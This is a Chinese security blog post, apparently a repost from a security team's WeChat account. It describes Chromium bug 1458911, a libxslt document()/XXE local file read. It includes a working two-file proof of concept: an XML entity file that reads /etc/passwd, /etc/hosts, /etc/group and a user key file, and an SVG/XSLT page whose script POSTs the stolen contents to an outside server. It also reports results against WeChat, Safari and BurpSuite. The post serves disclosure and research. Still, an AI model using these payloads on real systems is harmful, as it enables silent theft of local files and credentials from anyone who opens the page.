Chromium 内核 1458911 Bug 文件读取研究利用

浏览器安全 1年前 (2023) admin
37 0 0

Chromium 内核 1458911 Bug 文件读取研究利用

介绍

2023年6月29日 星期四 12:00 c0r…@gmail.com 开发者向 Chromium 官方提交了该漏洞。

Chromium 内核 1458911 Bug 文件读取研究利用

该漏洞影响使用 Chromium 内核的浏览器,包括 Chrome 版本小于 116。通过访问特定 URL,攻击者可以利用 Libxslt 库中的 document() 函数读取本地任意文件。漏洞存在于 WebKit 浏览器中,默认情况下,Libxslt 允许 XSL document() 方法加载的文档中包含外部实体。攻击者可以绕过安全限制,通过从 http(s):// 网址访问 file:// 网址来获取文件访问权限。

POC 复现

该XML代码包含实体引用,引用了本地系统文件(如/etc/passwd、/etc/hosts等),PHP代码设置了CORS策略,允许任何来源访问服务器资源。

xsl2.php

<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY test123 SYSTEM "file:///Users/xxxx/Downloads/keypem">
]> 

<p>


  <p style="border-style: dotted;">/etc/passwd: 

&passwd;
  </p>
 <p style="border-style: dotted;">/etc/hosts:

&hosts;
  </p>
 <p style="border-style: dotted;">/etc/group:

&group;
  </p>
   <p style="border-style: dotted;">/Users/xxxx/Downloads/keypem:

&test123;
  </p>

</p>

<?php header("Access-Control-Allow-Origin: *");?>

这段XML和XSLT代码使用了外部实体引用和XSLT转换,将远程资源(通过document(‘http://10.211.55.10:8000/xsl2.php’))嵌入SVG图像。然后,通过JavaScript发起了一个POST请求,将读取到的文件内容外带到指定的服务器地址。

test.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">

  <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
    <foreignObject class="node" font-size="18" width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <xmp><xsl:copy-of  select="document('http://10.211.55.10:8000/xsl2.php')"/></xmp>
    </body>
    </foreignObject>
 <script>
    var olis = document.getElementsByTagName('p');
  var data = olis[1].textContent;

  var xmlHttp2 = new XMLHttpRequest();
  xmlHttp2.open('POST''http://192.168.8.140:800/');
  xmlHttp2.setRequestHeader('Content-Type''application/x-www-form-urlencoded');
  var postData = 'r=' + encodeURIComponent(data);

  xmlHttp2.send(postData);

  
</script>
  </svg>

  </xsl:template>
</xsl:stylesheet>

将文件放置 WEB 根路径,测试发现大部分应用产品都受该漏洞影响,并发布之前均未进行修复,后续蓝军可利用该漏洞进行溯源攻击者画像。

微信 Version. 3.8.4 (27738) For Macbook Pro M1

Chromium 内核 1458911 Bug 文件读取研究利用
Chromium 内核 1458911 Bug 文件读取研究利用

Safari 版本16.3 (18614.4.6.1.6) For Macbook Pro M1

Chromium 内核 1458911 Bug 文件读取研究利用

BurpSuite 2021.2.1

Chromium 内核 1458911 Bug 文件读取研究利用

修复

  1. 改进沙箱,拒绝对指定文件的读取访问。
  2. 禁止使用来自外部实体的 file://path 和 \path URL 。

Links

https://bugs.chromium.org/p/chromium/issues/detail?id=1458911


原文始发于微信公众号(Evilc0de 安全团队):Chromium 内核 1458911 Bug 文件读取研究利用

版权声明:admin 发表于 2023年11月17日 下午5:37。
转载请注明:Chromium 内核 1458911 Bug 文件读取研究利用 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...